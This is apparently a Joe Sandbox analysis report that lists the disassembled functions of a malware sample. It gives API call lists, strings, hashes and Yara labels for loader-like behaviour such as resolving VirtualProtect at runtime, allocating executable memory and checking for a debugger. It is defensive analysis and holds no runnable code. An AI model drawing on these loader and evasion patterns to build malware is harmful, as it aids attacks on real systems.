Instruction ID: 498c9aede5f403e00d9a76303e9672c9fdc897c8aca5fe019ea571ca769297bf
Opcode Fuzzy Hash: 09ca4bdcfc6256fd34da90b83de53980beda5478b644f5e99394ee8a9df5232b
Instruction Fuzzy Hash: 5C21A3B1900755D9EB147BB2AA46B7F2664EF00768F10443FF445BE1C2EE7C88419E5D

Uniqueness

Uniqueness Score: -1.00%

Function 00404E94 Relevance: 15.1, APIs: 10, Instructions: 93
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_lopen.KERNEL32(00000000,00000000), ref: 00404EB3
_calloc.LIBCMT ref: 00404EBB

Part of subcall function 00405348: __calloc_impl.LIBCMT ref: 0040535D

_malloc.LIBCMT ref: 00404EC1

Part of subcall function 004053D7: __FF_MSGBANNER.LIBCMT ref: 004053FA
Part of subcall function 004053D7: __NMSG_WRITE.LIBCMT ref: 00405401
Part of subcall function 004053D7: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,00408E85,?,00000001,?,?,00407570,00000018,004A4F08,0000000C,00407601), ref: 0040544E

_calloc.LIBCMT ref: 00404ECB

Part of subcall function 004056E8: __fsopen.LIBCMT ref: 004056F5

_fputwc.LIBCMT ref: 00404EE2
GetTickCount.KERNEL32 ref: 00404F15
GetNamedPipeInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00404F20
LoadResource.KERNEL32(00000000,00000000), ref: 00404F28
GetNumberFormatW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000), ref: 00404F51
PeekNamedPipe.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404F5D

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: NamedPipe_calloc$AllocateCountFormatHeapInfoLoadNumberPeekResourceTick__calloc_impl__fsopen_fputwc_lopen_malloc
String ID:
API String ID: 3757771647-0
Opcode ID: da2848016465e9781c3c9f770b1464be9aaa93a17bd497d78955feb6244c435f
Instruction ID: b4cef3b36b35bb5ee3e62315e4150979ea8575307112b8e4476909c9cb9cd172
Opcode Fuzzy Hash: da2848016465e9781c3c9f770b1464be9aaa93a17bd497d78955feb6244c435f
Instruction Fuzzy Hash: 7E21C5B1502A206AC321BFB6AC49DDF3E9CEF86395710403BF545A21A1D73C4A45CAFE

Uniqueness

Uniqueness Score: -1.00%

Function 02320420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02320533

Strings

d, xrefs: 02320584
0, xrefs: 02320492
saodkfnosa9uin, xrefs: 023204DA
mfoaskdfnoa, xrefs: 02320520, 02320523

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 07fc022b913698a79f4c632c8a56852180cea6f3f52f1f6d96938fff9a0712e0
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 47513B70D08388DEEB15CBD8C849BDDBFB6AF21708F144058E5447F286C3BA5658CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00404BF9 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(kernel32.dll), ref: 00404C03
GetProcAddress.KERNEL32(00000000,VirtualProtect), ref: 00404C7D
VirtualProtect.KERNELBASE(00000020,?), ref: 00404CA6

Strings

kernel32.dll, xrefs: 00404BFE
VirtualProtect, xrefs: 00404C09
, xrefs: 00404C8F

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: $VirtualProtect$kernel32.dll
API String ID: 3509694964-2616575124
Opcode ID: 6765ceec34b06d69dfcf2106d36f960ae1b5e966781052005410c97ac032c0b3
Instruction ID: a6118a4ea3d94cf1100268fe02cb124a5220381ef8bee283e15e66db55c54267
Opcode Fuzzy Hash: 6765ceec34b06d69dfcf2106d36f960ae1b5e966781052005410c97ac032c0b3
Instruction Fuzzy Hash: B91103714093C0DEE702E764EC487853EE5E717389F8851ADD184562B6CFBE1118C73A

Uniqueness

Uniqueness Score: -1.00%

Function 023205B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 023205EC

Strings

o, xrefs: 02320600
apfHQ, xrefs: 023205E2, 023205E5

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 503741c3a0581660f3fd0381821dc9dd797075e60b7e77fda5ead919797f93f5
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: E8011E70C0425CEEDF14DB98C5583AEBFB5AF51308F148099C4592B342D7B69B5CCBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0217C7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0217C7EE
Module32First.KERNEL32(00000000,00000224), ref: 0217C80E

Memory Dump Source

Source File: 0000000F.00000002.2302460111.000000000217C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0217C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_217c000_C06.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: e72a7ba86045ec27deb5f9dad01e4611a0ed0aec9bfc9441b465a75d1490f6a5
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 4EF062322407106FD7203BB5A88DB6A76F8AFC9725F10053AE643D10C0DB70E8458AA1

Uniqueness

Uniqueness Score: -1.00%

Function 004080DD Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00405920,00000001), ref: 004080F2

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 2e6fff566365b76d370195a00a21db157dff75a0360fee3b9b0a069bdce34ec3
Instruction ID: 10a15019bc5499b930cd3ff99857d699b240ec5eac6f40928c1f00dc31ac3e14
Opcode Fuzzy Hash: 2e6fff566365b76d370195a00a21db157dff75a0360fee3b9b0a069bdce34ec3
Instruction Fuzzy Hash: BDD0A7729543056EDB109F707D0AB633BDCD788395F148476F92CCA690F6B4CA80C584

Uniqueness

Uniqueness Score: -1.00%

Function 0217C485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0217C4D6

Memory Dump Source

Source File: 0000000F.00000002.2302460111.000000000217C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0217C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_217c000_C06.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d716e02f4c9f903ed26a977dd7aabe70100b5de45224aaf8b7bc597b1b20e362
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: CC113979A40208EFDB01DF98C985E99BBF5AF48350F0580A5F9489B361D771EA90EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040657C Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040BFF4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040C009
UnhandledExceptionFilter.KERNEL32(00401D2C), ref: 0040C014
GetCurrentProcess.KERNEL32(C0000409), ref: 0040C030
TerminateProcess.KERNEL32(00000000), ref: 0040C037

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: c261996c4a8b1814648bdf569399d6bb6690b6aecef56ea41f0ade56002d67c8
Instruction ID: 2f5c13a37d00ac72f318432b20a90eca31078d41a524aaf082581347370df938
Opcode Fuzzy Hash: c261996c4a8b1814648bdf569399d6bb6690b6aecef56ea41f0ade56002d67c8
Instruction Fuzzy Hash: F521FAB4800202EFC780DF65EE486453FA8FB2E304F40403EE909A73A1EBB499858F5C

Uniqueness

Uniqueness Score: -1.00%

Function 00404933 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 155COMMON

Download Yara Rule

APIs

SetVolumeMountPointW.KERNEL32(wukovazitehohodoweb,potinifahax), ref: 00404964
OpenFileMappingW.KERNEL32(00000000,00000000,00000000), ref: 0040496D
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 00404975
GetWindowsDirectoryW.KERNEL32(?,00000000,?), ref: 004049DE
RemoveDirectoryA.KERNEL32(00000000), ref: 004049E5
WriteConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 00404A06
WriteConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 00404A16
GetFileAttributesA.KERNEL32(00000000), ref: 00404A7B
BackupWrite.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,?), ref: 00404AA8
GetVolumePathNameA.KERNEL32(sewomexikijalodedeleve soyugoloraci yamazid,?,00000000), ref: 00404ABB
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00404AEE
BeginUpdateResourceW.KERNEL32(00000000,00000000), ref: 00404B29

Strings

potinifahax, xrefs: 0040495A
sewomexikijalodedeleve soyugoloraci yamazid, xrefs: 00404AB6
wukovazitehohodoweb, xrefs: 0040495F
, xrefs: 004049AE
d, xrefs: 00404A8B

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: ConsoleWrite$DirectoryFileResourceUpdateVolume$AliasesAttributesBackupBeginCharacterInputLengthMappingMountNameOpenOutputPathPointRemoveWindows
String ID: $d$potinifahax$sewomexikijalodedeleve soyugoloraci yamazid$wukovazitehohodoweb
API String ID: 3921090981-798231047
Opcode ID: c984a35c5fd978b9c7cc7dfd1ca38fb396b8b615528d188fa5661a398d6f328a
Instruction ID: 87ee185074beea56d39e50044d3d0879882f27b56c1281c691d52274bea92d3a
Opcode Fuzzy Hash: c984a35c5fd978b9c7cc7dfd1ca38fb396b8b615528d188fa5661a398d6f328a
Instruction Fuzzy Hash: BE61E7B5D00209EFDB10CFA4DD849EEBBB8FB58315F14946AE545B3261D338AA44CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00404F96 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 00404FB9
__fileno.LIBCMT ref: 00404FCA
__fileno.LIBCMT ref: 00404FD6
__fileno.LIBCMT ref: 00404FE6
__fileno.LIBCMT ref: 00405007
__fileno.LIBCMT ref: 00405013
__fileno.LIBCMT ref: 0040501F
__fileno.LIBCMT ref: 0040502F
__fileno.LIBCMT ref: 00405050
__fileno.LIBCMT ref: 0040505C
__fileno.LIBCMT ref: 00405068
__fileno.LIBCMT ref: 00405078
__cftof.LIBCMT ref: 0040509E
__flsbuf.LIBCMT ref: 004050D6

Part of subcall function 00405A9D: __fileno.LIBCMT ref: 00405AA8

__flswbuf.LIBCMT ref: 00405107

Part of subcall function 00405FF9: __fileno.LIBCMT ref: 00406004

Strings

N@, xrefs: 00404FAA, 00404FB8, 00404FC9, 00404FD5, 00404FDE, 00405006, 00405012, 0040501E, 00405027, 0040504F, 0040505B, 00405067, 00405070, 004050D4, 00405105
N@, xrefs: 00405094, 004050CF, 004050BF, 00405099, 004050D5

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: __fileno$__cftof__flsbuf__flswbuf
String ID: N@$N@
API String ID: 792820942-3347624943
Opcode ID: 6bb5b8c0a1901b4abf85ed9fb0c2b1fdde3c7d6086ae829146d2dd8996f0484f
Instruction ID: 7cd9c4c6eeb9f45161be54f2311e06bc8da88028723dcb38d93e897795e75482
Opcode Fuzzy Hash: 6bb5b8c0a1901b4abf85ed9fb0c2b1fdde3c7d6086ae829146d2dd8996f0484f
Instruction Fuzzy Hash: 9A412B72010925AAC3145B29AC459BF3764EF4232C335077FF466FB2D6DA3CD6528A9C

Uniqueness

Uniqueness Score: -1.00%

Function 02346437 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0234644E

Part of subcall function 02349636: __calloc_impl.LIBCMT ref: 02349645

__calloc_crt.LIBCMT ref: 02346472
_free.LIBCMT ref: 02346480
__calloc_crt.LIBCMT ref: 0234648E
_free.LIBCMT ref: 0234649E
_free.LIBCMT ref: 023464A4
__copytlocinfo_nolock.LIBCMT ref: 023464B3
__setmbcp_nolock.LIBCMT ref: 023464D4
_free.LIBCMT ref: 023464E2
___removelocaleref.LIBCMT ref: 023464E9
___freetlocinfo.LIBCMT ref: 023464F0
_free.LIBCMT ref: 023464F6

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 2c0e65394102a967ea87498f3a6eda92e5c02ca2aa4602cc3d68ce19bce2be9a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: F7210235204A00AFEB313F65DC02E4B7BEEDF42760B9080E9E489555A0EF22B990CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02343F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02343F51

Part of subcall function 02345BA8: __getptd_noexit.LIBCMT ref: 02345BA8

__gmtime64_s.LIBCMT ref: 02343FEA
__gmtime64_s.LIBCMT ref: 02344020
__gmtime64_s.LIBCMT ref: 0234403D
__allrem.LIBCMT ref: 02344093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023440AF
__allrem.LIBCMT ref: 023440C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023440E4
__allrem.LIBCMT ref: 023440FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02344119
__invoke_watson.LIBCMT ref: 0234418A

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 1bde256c994e785c6b2d4969217d4125d758e881ed56ee7fec1b7459a4862719
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 2471EB71A00716ABE7249E79CC81B6AB3F9AF14764F1442B9E914E7680EF70F9418BD0

Uniqueness

Uniqueness Score: -1.00%

Function 0234650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 02346547
__calloc_crt.LIBCMT ref: 02346598
__lock.LIBCMT ref: 023465AE
__copytlocinfo_nolock.LIBCMT ref: 023465BF
_wcscmp.LIBCMT ref: 023465F9
__lock.LIBCMT ref: 02346610
__updatetlocinfoEx_nolock.LIBCMT ref: 02346622
___removelocaleref.LIBCMT ref: 02346628
__updatetlocinfoEx_nolock.LIBCMT ref: 02346647

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: cc4353cc9e2b3a2cb5380e397778994dc24c72a37a058dfe8160867f6b5d4d82
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 5D413432904304AFDB20AFA4DD82B9E7BEAEF45314F1040AEEA1496190DF79BA44DF11

Uniqueness

Uniqueness Score: -1.00%

Function 023484AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 023484B1
_free.LIBCMT ref: 023484E2
_free.LIBCMT ref: 023484F5
_free.LIBCMT ref: 02348513
_free.LIBCMT ref: 02348525
_free.LIBCMT ref: 02348536
_free.LIBCMT ref: 02348541
_free.LIBCMT ref: 02348565
_free.LIBCMT ref: 02348581
_free.LIBCMT ref: 02348597
_free.LIBCMT ref: 023485BF

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 37a321342b6d8acf37d6b68689fbda10cb21d704a74442adc424bf35d06c3ffc
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 4131C131900654DFCB21AF14FC8088977E6FB1432474486EAEA48672B0CFF479C9AF94

Uniqueness

Uniqueness Score: -1.00%

Function 0236FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0236FC1F

Part of subcall function 0235169C: std::exception::_Copy_str.LIBCMT ref: 023516B5

__CxxThrowException@8.LIBCMT ref: 0236FC34
std::exception::exception.LIBCMT ref: 0236FC4D
__CxxThrowException@8.LIBCMT ref: 0236FC62
std::regex_error::regex_error.LIBCPMT ref: 0236FC74

Part of subcall function 0236F914: std::exception::exception.LIBCMT ref: 0236F92E

__CxxThrowException@8.LIBCMT ref: 0236FC82
std::exception::exception.LIBCMT ref: 0236FC9B
__CxxThrowException@8.LIBCMT ref: 0236FCB0

Strings

leM, xrefs: 0236FCA8

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 034873fd58794b3003af39e40a3a80d1177dd3512831126cdca6079dd1cabbd0
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: EC11FB79C0020DBBCF10FFA5D855DEEBBBDAB04344F5089A6AD5897640EB74A3488F94

Uniqueness

Uniqueness Score: -1.00%

Function 0232F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0232F01F

Part of subcall function 02341602: __FF_MSGBANNER.LIBCMT ref: 02341619
Part of subcall function 02341602: __NMSG_WRITE.LIBCMT ref: 02341620

_malloc.LIBCMT ref: 0232F02B
_wprintf.LIBCMT ref: 0232F03E
_free.LIBCMT ref: 0232F044
_free.LIBCMT ref: 0232F065
_malloc.LIBCMT ref: 0232F06D
_sprintf.LIBCMT ref: 0232F0C0
_wprintf.LIBCMT ref: 0232F0D2
_wprintf.LIBCMT ref: 0232F0DC
_free.LIBCMT ref: 0232F0E5

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 6597d63d943b3a692e2749476173cb026562049070c91fac4c9eb47b3610d25a
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 7D1106B29009647AC271A6B55C11FFF7BED9F45702F0400E9FE8CE1180DF58AA149BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02331960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 023319C6
__CxxThrowException@8.LIBCMT ref: 023319F1
__CxxThrowException@8.LIBCMT ref: 02331A1A
__CxxThrowException@8.LIBCMT ref: 02331A4B
_memset.LIBCMT ref: 02331A6A
__CxxThrowException@8.LIBCMT ref: 02331A90
_malloc.LIBCMT ref: 02331AA0
_memset.LIBCMT ref: 02331AAB
_sprintf.LIBCMT ref: 02331ACE

Memory Dump Source

Source File: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 06b4111afaadf72ccdf261786cfb2a252cc55a418724815400241a800c87dfdc
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: FD516D71D40219ABDB21DBA5DC86FEFBBB9FF04704F100065F949F6180EB74AA018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004054E6 Relevance: 12.1, APIs: 8, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

__decode_pointer.LIBCMT ref: 004054F5

Part of subcall function 00408952: TlsGetValue.KERNEL32(00000000,?,004089ED,?,?,00408BA6,?,00405C19,?,?,004061D0,?,00402392), ref: 00408964
Part of subcall function 00408952: TlsGetValue.KERNEL32(00000004,?,004089ED,?,?,00408BA6,?,00405C19,?,?,004061D0,?,00402392), ref: 0040897B

__decode_pointer.LIBCMT ref: 00405505

Part of subcall function 00408952: GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004089ED,?,?,00408BA6,?,00405C19,?,?,004061D0,?,00402392), ref: 00408991
Part of subcall function 00408952: __crt_waiting_on_module_handle.LIBCMT ref: 0040899C
Part of subcall function 00408952: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 004089AC

__msize.LIBCMT ref: 00405523
__realloc_crt.LIBCMT ref: 00405547
__realloc_crt.LIBCMT ref: 0040555D
__encode_pointer.LIBCMT ref: 0040556F
__encode_pointer.LIBCMT ref: 0040557D
__encode_pointer.LIBCMT ref: 00405588

Memory Dump Source

Source File: 0000000F.00000002.2302156278.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2302135185.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302217773.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.2302275095.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_C06.jbxd

Similarity

API ID: __encode_pointer$Value__decode_pointer__realloc_crt$AddressHandleModuleProc__crt_waiting_on_module_handle__msize
String ID:
API String ID: 2836500094-0
Opcode ID: 306c9e6be83aeb9639f75da8659460647e50f2ea36e76d93a5b79e4f81dd418e
Instruction ID: 5aaf25b28b930d396692d7e5ff28467f3ef6f90411816e538a773a4a8e1c44d3
Opcode Fuzzy Hash: 306c9e6be83aeb9639f75da8659460647e50f2ea36e76d93a5b79e4f81dd418e
Instruction Fuzzy Hash: C311AF72504601BADB01AB69ED828AA3BA7DB85364325843FF444FA191EF39DD418A4C

Uniqueness

Uniqueness Score: -1.00%

Function 00404B3B Relevance: 12.1, APIs: 8, Instructions: 60fileCOMMON

Download Yara Rule

APIs

PeekConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 00404B76
